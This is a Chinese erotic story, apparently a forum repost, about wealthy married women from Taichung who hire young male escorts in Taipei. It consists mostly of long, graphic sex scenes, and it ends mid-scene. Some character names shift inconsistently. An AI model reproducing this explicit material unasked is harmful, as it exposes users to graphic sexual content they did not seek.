野雀高飞[玄幻武侠]

 

  标 题: 野雀高飞

  发信人: 路灯

  作 者: 浪客

  ——————————————————————————–

  中午刚过,位于台北东区向东延伸的林荫大道边一家观光饭店的底楼,驶来一辆紫红色崭新的BMW轿车,迅速地转入地下停车场的一角,推开车门走出了服饰考究,再加上经过刻意打扮的几位女士,香艳的衣着,时麾的饰物,点缀着姣好美貌,引来了许多人士的眼光。

  带头的是曼玲,年约三、四十岁,身材高挑动人,不时流盼的眼波,媚光十射,那圆熟、润湿的香唇,走路那摇摆生姿,丰盈体态,加上白晢油滑的皮肤,举手投足间显露的成熟美韵,是一个惹火的尤物。

  曼玲年轻时是台中望族的大小姐,家庭富裕,又是家中的独女,备受长辈之呵护和宠爱,受教于中部之高等学府,在校时以其美貌活跃,曾被选任学校活动的代表,是一朵公子哥儿们追逐的佳人。

  由于家族观念,长辈讲究「门当户对」,曼玲在毕业后的第二年,经媒妁之言和父母之命,牺牲了心爱的人,把一腔的罗曼史埋在心底,含泪出嫁。

  坐在曼玲旁边这几位贵夫人,也跟曼玲同属一个案例,虽家世有别,家况不尽相同,遭遇类似,她们有股熊熊的欲焰,不时在体内燃烧,尤其是没有丈夫陪着的晚上,芳心空虚,恨只恨,当时为什幺听从父母,而不反抗到底,心灵的需求,不言可知。

  就说她们的老公能在夜晚抽空陪她们,但他们已劳累了一整天,与她们养精蓄锐一整天,相互比较,是不是有力不从心的感受呢?

  这几位衣食无缺,穿丝戴金的女士们,每当聚会述说闲聊的时光,便长叹短吁,埋怨人生之不幸。

  「我没有时间不闲,从早晨到夜晚,我该作什幺?」清枝抱怨着。

  清枝有一副玲珑的娇躯,大眼睛、小樱嘴,丰满白晢的胴体,裹在合身的祺袍里,若隐若现的从爻的去缝里显露的修长,圆润的脚踝,柔若无骨,有心人只要看一眼,魂魄飘飘,神心不知守舍。

  「凭我这副身体,不知为什幺,总提不起那死鬼的兴趣,那死东西老觉得不会硬挺,每次都是我主动要求,可是都不能使我满足。」

  「我还不是一样,我们那个老家伙,一躺下就像死猪般,动也不动,当我兴緻浓厚时,好像陪死人睡觉,唤也唤不起,一身酥酥,只有咬牙忍耐。」这是秀馨的声音。

  「我实在受不了。」

  「好像守寡一样,只身边有一个人而已。」

  有天,这些有闲女士集合在「张医院」三极私宅的客厅里观赏「A」片,片中小伙子个个粗壮,龙腾虎跃,且应付各式各样的姿势,玩各种游戏,使得这些闷骚的女人们感到羡慕和嫉妒不已。

  「呀!有这一刻就好了。」秀馨第一个出声感叹。

  「对呀!像这家伙,可真不赖!」清枝一面看影片,一面对着曼玲说话。

  「可不是吗?让人家心里痒痒的………」曼玲曼声应对,媚眼里采光一闪。

  「我告诉你们,我试过………」欲言又止,故意卖关子,惹得在场几个都用惊奇的眼光对着她。

  「什幺时候?」

  「怎幺试?」

  「在那里?………」

  「上次,我姨妈出国,我不是告诉你们我去送行吗?就是那次,在台北。」

  「对,你去了三天才回来。」

  「就从送姨妈在桃园机场上机后,我顺道到台北去啦!」

  「我去找一位同学,地介绍一位男朋友给我,可是年龄约在五十岁,虽然陪我吃饭跳舞,使我尽情玩乐一个夜晚,可是那方面不行,没有劲,不够看。」

  「后来,我从他(她)们的谈话中知道了一些门路,我就住进xx大饭店,那里有好些精壮的小伙子可叫,只要你看中,或交代一声,他们都可以任由我们挑选,找他们一起玩。」

  「那次我物色到一个…………」。

  ——————————————————————————–

  曼玲是开放的女性,由生理的需要,使她慾望增加,每天面对着「张」医生是一种痛苦,何况她是成熟透了的少妇,绝无法由家庭,获得「性爱」约满足和需要。

  当晚住进了xx大饭店后,对着哈腰鞠躬的服务生暗示应召郎的需要后塞给他百元钞票,转身进入浴室。

  经过冷水的沖洗,精神一振,旅途的劳累,随着阵阵沖洗的水流,消逝一空。

  沖完了浴,轻披睡袍,斜躺席梦思软绵绵的床垫上,呆呆地静思一番。

  只见,曼玲那一身曲线玲珑的身材,胸前两个豪乳,在墙壁上影出多少的绮旎风光,肚下的毛儿稀密有緻,乌黑可爱,黑白分明,胯下起伏的山丘,一条潺潺流水深沟,山阜分成两半。

  两片阴唇,高高翻起,一棵红粒在上面颤抖。

  「咯咯!咯咯!」不知经过了多少,房门轻晌。

  「门没锁,请进!」曼玲应门。

  「你好!」一个年纪廿余岁的小生型小伙子推门而入。

  「让妳久等了,我叫小秦,请多指教。」

  这个小伙子还脱不掉孩子味,大概这一行所以能吃香,也就是这个孩子气味吧!对于成熟的女人,只有孩子气比较得宠。

  此时此刻,曼玲被压抑许久的性慾,使她恨不得一下餵饱,那三十多岁的女人性慾,使她盯视着这个男孩,目不转睛地看着他全身各部。

  小秦很高大,黑黑的皮肤,眼睛很亮,很清晰。

  小格子浅蓝色恤衫,衬上一条白色的西裤,给人家的印象,很豪放,也很酒脱,加上一个孩子天真味,深深地震憾曼玲的心。

  「我,我可以坐下吗?」

  「噢!对不起,请坐。」只顾打量他,竟然忘了招呼。

  「嗯!谢谢!」他一屁股坐在小几边的沙发上,沙发立即深深地陷下去。

  「要不要喝些什幺?」

  「谢谢!我不喝,谢谢。」

  从冰箱里取出一杯冰咖啡,曼玲就坐在小秦的对面,心里盘算着,怎样开始。

  曼玲的脸,突然发起了热,自己一个人和一个陌生的男孩相对,她的芳心之中,像小鹿般乱撞,她忽然有些儿害怕,她那充满了幻想的心,慢慢地出现了一个非常绯红的画面,那是令她神往的…………。

  曼玲彷彿在一双有力的臂弯里。

  人都软了,紧紧闭着,那双美丽的大眼睛。

  昏昏沉沉的幻觉中,曼玲好像觉得一只大手在全身上下轻轻的抚摸。由脸,经过颈部,滞留在胸前那一对丰满的乳房上,揉揉搓搓,又撚着两个乳头,使曼玲的乳尖涨的愈大愈硬。

  在潜意识里,享受着爱抚,所以也就没有拒绝,任由那双手抚摸。

  那另一只手,沿着小腹向下摸索,隔小三角裤,手掌摸磨着阴户。

  曼玲的全身,好似触电,一股颤抖从上而下奔过,又热又麻,淫水也流湿了三角裤。

  曼玲微微地睁开美眼,她着见小秦凝视她,慾焰燃烧,满脸火红,狂暴地把她掀倒在床上,曼玲无力也无意抗拒,她的嘴被他紧紧吻住,全身抖个不停………。

  小秦动手拉掉睡衣,那雪白的肌肤便呈现在眼前………

  她低低地说:「轻……轻……轻一点…点。我……我……怕……怕…怕……受…受……不了。」

  小秦并不回答,他迅速地遍吻她的耳、鼻、口、颈……曼玲已经禁不住情慾的煎熬,哼出声音。

  他不由分说地,用牙齿轻咬她的乳尖,她只觉得,自乳尖处传来一阵痛楚和酸麻酥痒,不禁叫道:「哎哎……痛……痛……不能这样………。」

  小秦急道:「妳不要乱动,我不会咬痛你……。」

  可是他边摸,边吮,边咬着………

  曼玲受不住挑逗,只好哼叫:「哎唷……啊……啊…哎唷……啊……啊……喔……喔……。」

  只觉得一阵酸麻,渐渐地,双腿就展了开来。

  小秦趁机,用两个手指头,轻轻扣动她的阴核,又插进洞内挖扣阴壁,只听曼玲乱摆肥臀。

  「啊……唔…噢…哎哟……哎哟……啊…唔……啊……。」

  曼玲已经无反抗的力量了。

  顺着他在「淘金」,她的手臂扭动着,是为弥补没有挖到处的酥痒而凑上去,真浪、真骚。

  水沟子的水,又泛滥了。

  「哎呀……哎…喔……喔……痒……痒……啊…啊……。」

  小秦知道是时候了,很快地把自己的衣服剥光。

  他的右手还继续挖,嘴巴不断地吸……这种上下夹攻的攻势,使得曼玲没法招架,穴口的水更多,也更湿,只听他问道:「小姐,妳舒服吗?」

  她的两腿渐渐弯曲起来,两膝外张,将阴户抬得高高地。

  小秦一头埋进她的两腿间,对洞口亲了一下。

  用舌头在曼玲的阴核和阴唇上舔吮,舌头在阴户内壁不停的舔挖。

  曼玲这时被舔得浑身麻痒,颤声叫起来:「哎唷……哎唷……请……请……不要……这样……哎哟……啊…你……你……这样……这样……是……是……在……在折磨……折磨我呀……哦……哦……啊……噢……啊……唔……。」

  她的屁股剧烈地摆动,抬起来凑上去,越有劲的喊:「喔……喔……那……那地方……真……真好……不…不……不好……啊!好痒……好痒……呀……痒死了……快……不要……不要这样……快……快……唔……快来……快点……上来……我……我要……我要……我要……啊……啊……啊……快点……快给我……给我………我要……我要……。」

  抬起肥臀,不停地呻吟:「哎……哎唷…………嗯……嗯唔……哎唷……哎……哎啊……唷……啊啊……哟……嗯嗯……啊啊……。」

  「哎唷……啊……哎呀……哎唷……不……不要……不行……。」

  一双玉腿,勾住了小秦的脖子,只见他满脸的淫水,但他仍服务到底,不停地吸吮着,他要征服她,要取得她的信任。

  她一阵子呻吟后,继续顶挺着:「哎唷……快……快些……快一点……给我呀……给我……。」

  小秦抬起头来,摆好架式,準备侵入。

  曼玲伸手握住鸡巴,另一手拨解阴唇,将鸡巴带到桃园洞口。

  他屁股使力一挺,「咕滋」一声,一根粗大的鸡巴已进去大半,再使力一送,终于全根而没。

  曼玲被他用力一插,觉得小穴涨的满满地,阴道壁被挤得直径外张,绷得紧紧,一种充实而麻痒的感觉袭上心头。

  「啊……哎……唔……唔……好……好……好极了……不要停…不要……用力……再用力……好…插重点……用力插……。」

  他知道这种年龄的女人所需要的什幺,于是卖力地为曼玲服务。

  双手由两腋穿过,紧紧抓着双肩屁股奋力的上抽下插。

  当鸡巴抽到外面时,一股极端的空虚感涌上心头,可是肉棒重重插入,直抵花心时,骚穴内就觉得既饱满和充实,使得曼玲禁不住浑身抖动着,嘴上止不住浪呼直叫:「哎……唔……好弟弟……好人……插得好好……好爽……真好爽……再来……用力再插……用劲插……插死好了。」

  小秦听到曼玲叫好,得意一笑,也就不再耍花招,直起直落,重重的插入,狠狠的拔起,直插得她舒服得魂不附体,全身剧烈抖动,浪叫不已:「呀唷……哎唷……好弟…弟……好弟弟……插得好美……好美妙……插到花……花心里去……插得我……我……我……我好美……好爽……我要……浪死了……浪起来……哎唷哎唷……好酥……好妙……好美……好美……啊……啊……唔……唔……。」

  他继续急急地抽送着。

  她扭动细腰,一顶一挺地迎合他。

  不久,她又叫起来了:「哎唷……哎……不……不……不要这样……你……你……乾脆……乾脆把我……干死吧……哎唷呀………。」

  小秦已插得气喘不已了,他问道:「小姐!你……你觉得……觉得怎样?」

  曼玲回答说:「哎哎……你……这幺大……插……插我约穴……我我……我不想我……活了……好…好美……好美妙……我会被……被……被插……插死的…哎……。」

  嘴里说着,双腿拚命勾着他的腰不放。

  他笑了一下,便大刀阔斧地又干起来。

  一时,「滋甫!滋甫!」响个不停,她不顾一切地大叫起来:「哎……哎哟……啊……啊……好……好痛快……好痛……不…不……好舒服……哎哟……好美……好美……我爽……爽死了……啊……我……我要死了……我被你……干死……干的好……好美妙……啊……啊………。」

  她边叫,屁股死命地往上挺举。

  他一口气,又狠狠地插了百多下。

  她不由叫道:「啊……顶死……顶死人了……哼……啊……哎哟……美……美……美死了……哎…,啊……好舒服……舒服……我……我真舒……舒服……你又顶……顶着花心……花心……好痒……用……用力……嗯……我……我就要……洩……洩精了……啊……噢……哎哟……不行了……不行了…洩……洩了……啊……啊……。」

  他的大鸡巴实在插得她太舒服了,阴精猛向外流,使她全身酸麻,全身细胞都在颤抖。

  他也觉得龟头一阵酸麻,阴穴花心里突然收缩,阵阵的酥畅。

  「滋滋………」一股阳精,直洩入花心里面。

  她猛叫一声:「唔!啊!」又是一阵颤抖,两人同时洩了,紧紧地抱着,温存着,他吐口长气后,低低说:。

  「小姐,下次再来好吗?」

  说完,又抱住她,深深地一吻,好久,好久,两张嘴才分开。

  

  

  ——————————————————————————–

  「他的功夫真不赖,一个晚上陪我消魂了三、四次,玩了两天,才花三万块钱,现在,想起来,我心里痒痒地,巴不得再跑一趟台北,找他消魂。」

  经过一连串的私议和讨论及筹备,她决定来一次探测,同志一同,公推曼玲领队,筹款北上,所以有了远征之行。

  这次匆匆地来到台北,便是那次会议的结果,她们心猿意马地坐在咖啡厅的座位上,不时朝着来来往往的男人打量,她们的眼光也一致地由上而下,像是有种按捺不住的神色。

  她们驭车,老远从台中跑到台北,果然是有曼玲的描述,另一原因,当然是为了怕出庇漏,有损家庭和老公的颜面,因此红杏出墙,一出就是二百公里了。

  「不会出差错吧!」清枝焦急地问道:「放心,放心啦!」

  「到了这里,还怕什幺,要好好地玩一玩,不要怕!」曼玲说着,一面在静枝高挺的胸脯捏一下。

  「曼姐,你好!」正当她们的眼光停滞在来往男士身上的时候,一个年轻小伙子,哈腰鞠躬地对她。

  「让妳们久等了。」不错,正是曼玲的相好—小秦。

  「要不要喝一杯茶?」曼玲轻轻地、柔柔地说:「谢谢!我要咖啡,热的。」小秦撒娇式地回答。

  「我来介绍,这是小秦,这是静枝姐,秀馨姐,都是我最要好的姐妹淘,你可要介绍令她们满意的货色,切记!绣花枕头是不能应付她们的,也不要洩我气,好好招待这两位呀!」曼玲口中说着,脸上已经有了春意。

  过了一会儿,小秦打电话约的两个朋友来了,他们跟他一样,都穿着白皮靴。

  「要不要先跳舞、打牌、上馆子?」

  「不必!」晏玲一口回绝,暗示他乾脆上楼,找间套房解决压抑在心中的饥渴。

  这就是她们专程赶到台北的主要目的。

  她们不是来谈情说爱,不要寻找老公。

  她们怕别人知道自己的底细,怕遭到别人的勒索敲诈,身份当然不会明着告诉她们的玩伴,只要能风流几夜,解一解寂寞春宵恨,管他又是谁呢?

  况且此时此刻,她们看到年轻英俊,健壮如牛的小伙子,早就心里痒痒,恨不得一下子吃进了嘴,餵饱自己压抑好久的性慾。

  小秦当然明白曼玲的用意,连忙把两个兄弟分配好,每人挽着每人的伴侣,到饭店柜抬取了房间钥匙,消失在楼下的电梯,各自觅寻自己的天地去了。

  

  

  ——————————————————————————–

  打开了三0六号房门,曼玲在小秦的扶持下走进房内,房间是以红色为主调色,床单、窗帘、沙发组全是让人引起无限绮思的粉红色,地板上是深红带点黑的长毛地毯,墙上和天花板一律是洁亮的镜子。小秦反手就把门给锁上。

  反身轻拥着惹火娇体,迫不及待地就紧吻曼玲的香唇,曼玲奋力挣脱,往床上一跳,绊倒在床上。

  小秦扑了过去,如同饿虎扑羊,曼玲避不及,全身被他压着。

  小秦的嘴唇紧吻香唇,手掌在乳房上猛按轻捏,同时以小腹猛磨阴户。

  虽然隔着衣衫,但是这样的爱抚,使得曼玲全身酥、痒、麻、慢慢地她静止了,像温柔的小绵羊。

  她紧紧吻着,紧紧抱着他的脖子,香舌也渡进他的嘴里,猛搅猛吸猛吮着。

  小秦出道也有不少时光,他知道该怎幺做……

  于是,他将她的上衣钮扣由上而下一个个地解了开来,一边解扣,一边把她的衣服向两边掀开,袒露出曼玲那洁白如玉的肌肤,看得小秦慾血翻腾。

  但是他抑制了冲动,先把她的上衣脱掉,然后把奶罩的扣子拉开,解决了上半身,紧接着把她的长裙和粉红色的三角裤给褪下。

  衣服一除,那一身洁白滑润的玉体完全曝光,两个丰满的乳房,两片滑润的阴唇,柔若无骨,丰若有余。

  在那短而不长,细而不粗的捲曲阴毛的掩没下,肉缝子若隐若现。

  直看的这位虎狼之年的成熟女体,也羞答答地绻伏起娇躯。

  也看的使他一时失措,不知到底是兴奋或是紧张。

  曼玲等了片刻,见小秦毫无动静,就娇滴滴地对着小秦说:「亲爱的,你怎幺啦!」

  她的娇唤,唤醒了失魂的小秦。

  他探动双手,三扒两剥,也剥光了自己身上的衣服。把头低下,伸出舌头,猛舐曼玲的全身。

  由上而下,舐着粉颊、嫩颈、酥胸,踞渡黑草原,到达了神秘境。曼玲结婚多年,但全身还没有经男人用舌头舐过。

  这种刺激的挑逗,使她的血脉贲张,蛇腰猛摆,双腿不由自主地大张,嘴里哼说:「唔……嗯嗯……啊……啊………。」

  双腿张开,阴户暴露无遗,小秦用手把阴唇向两边拨开,把舌头伸了进去。猛舐嫩穴,饥渴地吸着仙露。

  压抑的慾焰暴发,她那熬得住,浪潮骚劲………。

  阴唇受到刺激,开始一张一合,看得小秦心惊肉跳,下体的鸡巴好像不听使唤,青筋暴跳。

  曼玲觉得好像有一条小虫在体内爬动,既痒又酥,不由自主地扭动娇体,嘴里淫声不停:「嗳………痒……好痒……好难受………。」

  这副骚态,迷尽众生。

  她的一双媚眼,散发出淫蕩的目光看着小秦的下体。

  她仰卧着,将腿分开而高举,两手指头,尽量拨开阴户,阴户中现出一个洞,洞中不停地流水。

  小秦将肉棍子顶在洞口,轻轻试了试,每一试插中,她都皱皱眉,闭上眼,狠咬着牙齿,似有点痛苦,而不顾痛苦地将屁股迎了上来。小秦用劲一挺,肉棍尽根没入。

  只听她叫道:「哎呀………哎呀………。」

  她的舌头在口中颤抖着,她像很痛楚的样子。

  又好像无限好似地,屁股轻轻扭摆着。

  小秦的肉棍子被她夹得好紧,一阵阵热气,使他痒酥酥的,一股热流直流出来。

  曼玲淫浪的叫着:「哎哟呀………好大个、好粗的……鸡巴棍子、我的穴……被你………插破了……哎呀……唔……里面有点痒……啊!好痒……。」

  肉棍子开始一抽一送起来。

  抽得曼玲,紧咬牙齿,咬得格格响。

  曼玲用手紧紧搂着小秦,屁股随着抽插扭动,像波浪似的迎送,配合无间。

  口中哼哼地:「小秦,好弟弟……你真好……哼哼……我美死了……快点……用力……再用力………。」

  两人的身体一起一落,发出「滋、滋」的水声。

  她娇喘嘘嘘的说着:「哎……啊……小秦………我不行……哎呀……不行……啊……要命……我洩出来了……啊……啊………。」

  一双玉腿紧紧缠着他的下体上,全身颤抖不停。

  小秦知道曼玲要洩精,将下体的肉棍子,狠命的顶住她的花心,起落间用劲深插,重重的沖击。

  顶住花心后用力旋转屁股,让龟头控擦花心。

  她醉了,像个泥人似地躺着,任人插挖。

  小秦好像也嚐到美味,拚命的继续抽插。

  这样玩了近百次,更激起曼玲的第二次快感,她哼得更厉害:「啊……啊……好……好美……喔………。」

  小秦为要固定客人的爱恋,集中全力猛烈的攻击。

  曼玲也尽力的幌动,用手不停的在男人的腰背上抚摸,嘴中断断续续的在浪叫:「嗯……嗯……好弟弟……姐,我……好舒服………哎呀……好美……好妙………。」

  淫水好像潮水一般的涌出,湿透了床单,娇脸上香汗一滴一滴,酥胸湿湿的。

  小秦浑身也开始紧张,呼吸也加重。

  曼玲知道阴穴里的肉棒有特殊的变化,在坚硬的鸡巴进进出出时,用力一夹。一股热腾腾的精液直射花心。

  她也像决堤的溪水,阴精从花心里直沖而洩。

  两人的心神融化在一起,静静地领会这瞬间的逸乐,心还卜卜的跳不停。

  曼玲搂着小秦,用娇媚的眼光扫了他一眼,发出满足和充实的叹息,带着微笑沉沉地闭上了媚眼。

  

  

  ——————————————————————————–

  陪着秀馨进房间的小伙子叫小黄,自称是「x专」的学生。参加过「录影带」A片的演出。

  小黄身高一七三左右,一套紧身衬衣,结着红色领结,白皮靴,十足的俊男像。

  容光焕发,风度翩翩相当英俊。

  秀馨张着明媚的大眼,在小黄身上来回瞧个不停,还不时含着神秘的微笑。

  小黄牵着秀馨的手,顺势往沙发上一坐,整个抱着她,另只手隔着衣服摸着乳房。

  柔柔细细,可爱极了。

  故意按紧问道:「这是真的,还是假的?」

  「当然真的,我虽然有一个孩子,可是不餵奶,怎会是假的?」

  她侧转脸,娇媚地瞪着小黄。

  他用手指头,轻轻捏着乳头,捏得她周身微微颤抖,一翻身,双臂抱住小黄的颈子,秀馨送上香吻。

  小黄解开她的衣扣,从乳罩里拉出白嫩的乳房,用嘴含着,吸吮了起来,一只手伸到阴户上,揉起她的阴核。

  她全身颤抖起来,抖得很厉害。

  小黄小心翼翼地伺候着、抚摸着,两人的一举一动,都由四周的镜子里清晰地反射出来。

  小黄提议脱去衣服,这样可以增加刺激。

  一阵子行动后,出现一对原始人。

  秀馨忍不住了,推倒小黄,猛扑在他的身上。

  她吻着他,他也回吻着她,还紧紧地拥抱她,使她感到无比的温存。

  因为秀馨的老公,是一个大男人主义者,对她一直是比较冷淡,原因是当年那苗条可人的身段,由于闲散又缺少运动,身体发胖了许多,使得她老公对她胃口不大。

  如今,碰到一个对手,怎不心花怒放。

  「秀姐,你好丰满噢!」

  小黄用手在乳沟里挑逗,自己的下体也像一根铁棍,直竖起来。

  她闭上眼,全神地领受这无穷的快意,嘴里含糊不清地呢喃着。

  小黄将乳头含住,用力的吸,像婴儿吸乳一般,只吸得秀馨浑身抖动。

  小黄从事这门工作时间虽然不长,但在拍摄录影片里混的时候,由片场同好那里的收获不少,所以用嘴去咬弄秀馨的乳房后,左手渐渐下移,轻轻抚摸秀馨的小腹,脐眼,最后停止在她的阴户上面。轻轻地梳抓几下阴毛,由食指按着阴户上方的软骨上,缓缓揉动。

  只一阵子,即见秀馨娇喘嘘嘘,全身无力,阴道痒痒地,恨不得紧抓着鸡巴,来消除慾念。

  身体微抖,屁股不断扭动,哼声不停。

  小黄知道时间巳到,将手指下移,中指伸进阴穴,挖弄起来,使秀馨双腿大大张开,阴唇一动一合间,淫水直流而出,嘴里「好人……快点……快来呀……我要……我要……。」

  小黄忽然低头,伏在她的下体上,一阵热气,直冲入阴穴。

  原来小黄的嘴对着那丰满的阴唇和洞口,向洞里在吹气,一口一口的热气,吹得秀馨连打寒噤,忍不住挺了屁股。

  小黄乘机托住丰臀,一手按着屁眼,用嘴猛吸阴穴。

  秀馨只觉得,洞里一空,一热有一股水流出来。

  阴壁里一阵阵的奇痒,使她全身紧张和难过。

  那阴核一跳一跳地,心脏乱碰,一阵子的慌乱。

  小黄继续把舌头伸到里面,在阴道内壁翻来搅去,内壁嫩肉,经过了这阵子的挖弄,更是又酸、又麻、又痒。

  只觉得全身轻飘飘的,头昏昏的,什幺也忘记了,只在潜意识中,拚命挺起屁股,把阴穴凑近他的嘴,使他的舌头更深入洞里。

  忽然,阴核被舌尖顶住,还向上一挑一挑。

  秀馨从未有过这样说不出的感觉,说不出的舒服。

  什幺都不计较了,忘了,她宁愿这样死去,只要能…………

  她禁不住娇喘和呻吟:「啊啊………哼哼……嗯……嗯………。」

  「嗯……痒……哎呀……好痒………。」

  秀馨骚蕩地说:「好……好人……你把骚穴……骚穴舐得……美极了……又痒………又麻……嗯……嗯……快……快来……穴内痒死了……快……快来止止……啊……好痒……痒……啊……。」

  她扭动着屁股,她的穴里充满了淫水。

  

  

  ——————————————————————————–

  小黄看见时机成熟,于是翻身上去,压在秀馨的身上,她张大了玉腿,挺穴相迎。

  她扶正了肉棒,对準了阴穴,「滋」的一声,大肉棍连根刺了进去。

  秀馨不禁大叫一声:「哦……好美……好舒服………。」

  一枚香舌伸出嘴外,在自己的嘴唇了舐着,好像回味美食似地。

  「啊……嗯……好人……你……你的鸡巴……好大……好长……好硬哦!插得……我舒服……极了……真是美……美极……哎呀……插吧……插死我好了……好好人……哎……唷……。」

  秀馨又是高兴,又是喜爱,连连浪叫着:「哼……哼……舒服……太舒服了……哎呀……大鸡巴……插死我了……嗯………。」

  他好不得意,他知道,他征服了她…………

  秀馨边叫边扭着屁股,两手紧紧地搂着小黄的身体,牙齿在他的肩上一阵乱咬乱亲。

  突然,用力一咬,咬得小黄叫起来:「哎呀……痛……好姐……不要咬………。」

  她格格浪笑着:「亲人……好人……你……你真行……太好了……插……插得我美死了……太好了……唔……。」

  小黄猛插强抽着,他要好好整整她:「哎呀……小黄……顶……顶死人了……好弟弟……你好有劲………乐……乐死人……哼……我……我被你顶死……顶死好了……啊……好……。」

  她拚命地用手压他的屁股,自己也用劲的屁股上迎,让阴穴紧紧的凑合着大鸡巴,一丝丝的空隙也没有。

  小黄觉得秀馨的阴道壁一阵阵的在收缩,夹得龟头酥痒无比。

  他不由的讚说:「好………好紧的穴………太妙了………。」

  秀馨已经乐得欲仙欲死:「好人……好弟弟……你的鸡巴太棒了……太了不起啦………我爽快死了………嗯……嗯……。」

  「亲亲………我……我真……真爱死你了………想不到………想不到……你这幺行………哎……哎……大鸡巴……顶………顶到我的花心里啦………啊……嗯………。」

  小黄见到秀馨的淫声浪语的叫床,心中感到无比的得意和光荣,难得第一次就让她这样高兴。

  于是更加卖力的抽插着。

  她已经香汗淋淋,娇喘嘘嘘,但仍然不断地哼叫:「哎呀……黄……小黄………插重些……深一点………用力……用力插……插死我………。」

  他依着她,狠狠地顶着,插着:「啊………好………就是……这样……啊……好………好极了………太妙了………哦……喔……哎呀………我……我爽………爽极了………。」

  全身一阵抖动,阴精直洩而来,流湿了龟头。

  小黄继续抽插着,越战越猛。

  不一会,秀馨的淫劲又升起来了,大叫着:「哎哟……哎哟……你快插死我了……今天………今天……我……服了你……我……我已经洩………洩了第二次水啦………嗯………。」

  「哼………哼……可美死我了……嗯……嗯………舒服………舒服呀……啊……呀……我……我……快……飞了……我真的……真的……好快乐……好舒服………。」

  小黄也感到快感频频传来,他知道,他也差不多了,经过这幺久的运动,体力也快支持不了。

  于是他边插边说:「哼………哼……秀姐……我………我也差不多了……嗯……爽快极了………哼………。」

  秀馨娇喘急促地说:「好……嗯……嗯……我们……我们一起……来……一起来吧………。」

  他拚命地猛顶了几下,终于一洩如注,伏在她的身上不动了。

  秀馨也在他的狂射中,第三次洩出了阴精。

  天啊!已经好久好久没有尝到这样的滋味啦!

  小黄很懂得她的心意,他温柔地依偎在她的胸前,用如雨的吻,吻在她的颊、唇、颈、胸上……。

  「秀姐,你还满意吗?」

  她喘着:「嗯…………。」

  这一夜。她有说不出的舒服,一连消魂了三次,使得小黄差一点招架不住。

  

  

  ——————————————————————————–

  清枝年纪最轻,才三十出头,丈夫是一个整型医科的权威,每天和那些追寻美丽的女人泡在一起。

  他为她们创造美的奇蹟,他为女人改造了鼻子,他为女人灭消了麻脸和疤痕,他为女人隆乳也减肥他是最吃香的医师,也是顶尖的玩将,十几年来,他玩遍了明星、模特儿,这都是职业带来的桃花运。因为:近水的楼台,可以最先得到月影呀!

  可是他太关照了别的女人,且冷落了自己的老婆,所以,清枝知道老公有外遇,早就有红杏的念头。

  这次经曼玲的提议,第一个附议的就是她,她準备给丈夫一顶「绿」帽子是心甘情愿的。

  曼玲了解清枝的心理,也怕她因此惹来困扰,在北上的时候,特别提醒她说:「清枝,玩一玩男人并无不可以,最重要的是不要用感情,你要知道,这群男孩口里不会有半句真话,不要一时不慎惹上了麻烦,将来你就脱不开身,不要把感情放上去,今天玩一玩,明天该是陌生人。」

  她走入房间,坐在清雅亮丽,布满艺术味的沙发上,脸上露着迷人的红晕,她望着她的玩伴,那个子很高的小姜,不说一句话。

  小姜裂嘴笑了一笑,在她的面前一件一件地脱下身上的东西,不一会儿,赤裸光身,他变成供人洩慾,对付淫娃的工具。

  两人拥吻在一起,甜蜜极了,也吻得意乱情迷。

  清枝的脸上渐渐地升起了桃花,浑身颤抖起来,像一条水蛇一般在小姜的怀中扭来扭去。

  明媚的大眼盯在小伙子脸上,发出淫蕩的微笑。

  她这样的挑逗,使小美心中的慾焰燃了起来,血液在周身奔腾,下面的肉棍子也渐渐的涨硬,顶在她的小腹上,微微跳动。

  她将身体更贴近,贴得紧紧地,抚摸背部的手,突然伸到小姜的跨间,狠狠地握住涨大的鸡巴。

  只听清枝「嗯」的一声,那粉脸一片潮红,有如吃醉了酒一样,眼儿迷迷。

  她拉起裙子,脱去三角裤,分开白嫩肉感的大腿,将阴穴顶在鸡巴前,挺了上来。

  小美被抵得一步步后退,一直退到床边,仰面躺了下去。

  清枝顺势骑上来小姜的下体,将洞口对準龟头,坐了下去,用力下压。

  压着,牙齿还咬得格格响声,粉脸红透,红光中冒出汗水,还自语着:「奇怪……怎幺………套不进………哎呀……你…你的鸡巴……太粗了………。」

  肉棍子硬得发痛,内心一阵子的激蕩,恨不得插到底,才舒服。

  小姜下意识地用手一摸,摸到一块软软的三角阜,鼓鼓的毛丛丛的像半片毛狐,毛上布满了淫水。

  清枝迅速地张开双腿,捏着小姜的中指,轻轻地朝她的穴里按了进去。

  「小姜,我里面很痒。」

  「你给我,扣扣吧!」

  于是小姜便开始工作,他的指头一伸一屈地挖了一下,只觉得幽洞里面很湿,外窄内宽,像一个袋子。

  小姜一心一意地挖动清枝的骚穴,动作很快,也很猛,挖得很重「哎呀!」

  「怎幺这样子呀,先磨磨这里………。」

  说着用小手引导他的中指头按在穴口的阴核。

  阴核,半硬不硬,软软地像一个………。

  「先磨一下,然后再挖进去。」

  似恨似怨地,清枝瞪着小姜数说着他。

  小姜用磨墨的要领,指头转呀转地在那阴核上磨着,大致十个数,清枝浪叫起来了:「哎呀………哎呀………你………哎呀………。」

  「好……好了………哎呀……里面………里面痒………痒得很………快……快……哎呀……要命……痒得要命……快……挖………挖里面……重一点……快一点………。」

  小姜不管三七二十一,狠狠地把全根中指插进阴穴里,像打算盘一般地拨动,越拨越快,越拨越重,挖得她又大叫起来。

  「哎呀………小姜……你………你挖得我………挖得好……好呀……哎哎……啊……唔……妈呀……哎哟……要命……要命啦……啊……唔………。」

  清枝一手抓住小姜的鸡巴,拉开了挖穴的手,向前往上一挽,小姜就伏在她的身上,再托着鸡巴往自己的三角阵地的洞里送。

  小姜坐起来,替清枝清除身上的衣服,立刻显出一副美好的玉体,她扭动着细腰。

  小姜注意地看着眼前令人喷火的骚娃。

  她有一付极美的胴体,身段分明,修长的玉腿,黑黑的阴毛,嫩红的小穴洞口,微微开着,肥肥高起的阴户,如同小山。

  小姜心里想着,对这个骚货要用点手段,每一次都要干她个够,才行。

  他站起来,走往小几倒两杯水,伸手将一杯交给清枝,自己藉机吃颗持久的春药。

  清枝接杯喝了一口,已迫不及待地握住小姜的大鸡巴。

  她一脸笑容,跪下来,握住鸡巴,塞进口中,一口含着,吸吮着、舐着、咬着。

  小姜不让她多含,用力拉她站起,抱着她来回旋转。

  此时她的穴水氾滥出来,流湿了大腿。

  小姜把清枝按躺在床上,来回翻滚,大鸡巴描準肉洞,顶了进去,清枝突然大叫:「轻点,不要把我挤死。」

  他抱着她来回翻滚,鸡巴始终插在穴中。

